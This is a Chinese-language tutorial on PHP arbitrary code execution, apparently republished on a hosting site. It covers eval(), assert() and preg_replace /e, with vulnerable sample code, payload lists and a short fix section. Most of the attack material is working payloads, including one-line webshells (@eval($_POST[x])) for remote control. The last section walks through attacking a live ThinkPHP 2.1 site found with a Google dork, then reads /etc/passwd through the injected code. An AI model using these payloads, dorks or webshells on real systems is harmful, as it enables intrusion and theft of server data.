中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

任意代碼執行漏洞

發布時間:2020-05-29 12:42:20 來源:網絡 閱讀:3283 作者:nw01f 欄目:安全技術

0x00 什么是任意代碼執行

  • 當應用在調用一些能將字符串轉化成代碼的函數(如PHP重的eval)時,沒有考慮用戶是否能控制這個字符串,將造成代碼注入漏洞。狹義的代碼注入通常指將可執行代碼注入到當前頁面中,如PHP的eval函數,可以將字符串代表的代碼作為PHP代碼執行,當用戶能夠控制這段字符串時,將產生代碼注入漏洞(也稱命令執行)。廣義上的代碼注入,可以覆蓋大半安全漏洞的分類。


0x01 為什么存在任意代碼執行

  • 幾種常用函數語言,都有將字符串轉化成代碼去執行的相關函數。

  • PHP ===> eval( ),assert( )

  • Python ===> exec( )

  • Asp ===> <%=CreateObject("wscript.shell").exec("cmd.exe /c ipconfig").StdOut.ReadAll()%>


0x02 為什么使用執行代碼函數

  • 應用有時候會考慮靈活性、簡潔性,在代碼中調用eval之類的函數去處理。

function string2array(%data){
    if($data == '')
        return array();
    @eavl("\$array = $data");
    return $array;
}
//當 $data 接受的字符串是這樣時:
$data = "array(
    'upload_maxsize' => '2048',
    'upload_allowext' => 'jpg|jpge|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf',
    'watermark_enable' ==> '1',
    )"
//通過eval()函數就可以將字符串‘array(....)’作為數組賦值給$array,這樣會大大的提升代碼的靈活性和簡潔性。


0x03 漏洞分類

  • eval()、assert()  (不常見)

  • preg_replace + /e 模式


0x04 漏洞利用(本地測試)

  • eval() ==>

#1:
<?php
$data = $_GET['data'];
eval("\$ret = $data;");
echo $ret;
/*
    payload:
        ?data=phpinfo()
        ?data=1;phpinfo()
        ?data=${phpinfo()}
        ?data=${@eval($_POST[x])}  #一句話***,可以用菜刀連接
*/
 ?>
 
#2:
<?php
$data = $_GET['data'];
echo "\$ret= '$data'";
eval("\$ret = strtolower('$data');");
echo $ret;
/*
    payload:
        ?data=');phpinfo();//
        ?data=');@eval($_POST[a]);//
*/
 ?>
 
#3:
<?php
$data = $_GET['data'];
eval("\$ret = strtolower(\"$data\");");
echo $ret;
/*
    payload
        ?data={${phpinfo()}}
        ?data=1");phpinfo();//
        ?data=${@eval($_POST[x])}
*/
 ?>
  • preg_replace() ==>

<?php
$data = $_GET['data'];
echo $data;
preg_replace('/<data>(.*)<\/data>/e', '$ret = "\\1";',$data);
echo $ret;
/*
    payload:
        ?data=<data>${phpinfo()}</data>
    注:PHP 5.5.0 /e 修飾符已經被棄用
*/
 ?>


0x05 修復方案

  • eval() ==>

  • 能使用json保存數組、對象就是用json,不要將PHP對象保存成字符串,否則讀取的時候就需要使用eval

  • 對于必須使用eval的情況,一定要保證用戶不能輕易接觸eval的參數(或用正則嚴格判斷輸入的數據格式)。

  • 對于字符串,一定要使用單引號包裹可控代碼,并在插入前進行addslashes

  • $data = addslashes($data)

  • eval("\$data = eval('$data');")

  • preg_replace() ==>

  • 放棄使用preg_replace的/e修飾符

  • 使用preg_replace_callback()替換

  • 如果必須使用preg_replace()+e修飾符,請保證第二個參數中,對于正則匹配出的對象,用單引號包裹


0x06 實例測試

  • 前面說了一大堆理論,現在來找個實例實際測試下。(本來想把網址公開的想想還是算了,這個漏洞的破壞性還是挺大的,就不公開了,我也怕“從web安全到派出所”......)

  • 盡管不會公開網址,但是還會告訴大家怎么去找這種存在 任意代碼執行 的網站

  • ok,下面開始一步一步去實現漏洞的利用

  • 任意代碼執行漏洞的存在環境:thinkphp 版本:2.1 

  • google hacking 也就是谷歌搜索啊: 

intext:thinkphp intext:"Fast & Simple OOP PHP Framework"intext:"2.1"
  • 目標站點url:http://www.xxxxxx.com/xxxx/id/43.html

為什么thinkphp這個版本存在 任意代碼執行 漏洞,出現漏洞的代碼是什么我在這就不提了,大家
有興趣的可自行百度。
  • 測試目標url:按照上面說的我們先來測試看看時候存在任意代碼執行

任意代碼執行漏洞

  • biubiubiu.....存在代碼執行漏洞

  • 直接上一句話吧.....

  • id/{${@eval($_POST[x])}}.html

任意代碼執行漏洞

  • 返回當前路徑:id/{${exit(print(getcwd()))}}.html

解釋下這句:getcwd() 返回當前工作路徑
            print()  打印一下
            exit()   停止加載,網站停止渲染只會顯示當前工作路徑
  • 讀取文件:

  • id/{${exit(var_dump(file_get_contents($_POST[f])))}}.html

  • f=/etc/passwd

任意代碼執行漏洞

  • ok,現在利用完畢

  • 本文有什么不對的地方,歡迎大家指正

  • 歡迎大家交流學習

  • 希望大家只用來做測試,不要搞破壞。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

高碑店市| 靖远县| 雷州市| 古交市| 偏关县| 浏阳市| 眉山市| 海口市| 错那县| 郴州市| 仪征市| 江口县| 全州县| 山阴县| 柳州市| 女性| 镇平县| 平谷区| 河南省| 襄汾县| 屏南县| 汨罗市| 瑞丽市| 徐水县| 武冈市| 丁青县| 天水市| 顺平县| 青海省| 玛沁县| 疏勒县| 弥勒县| 榆林市| 宁陵县| 温州市| 大同县| 英吉沙县| 子洲县| 德庆县| 义马市| 星座|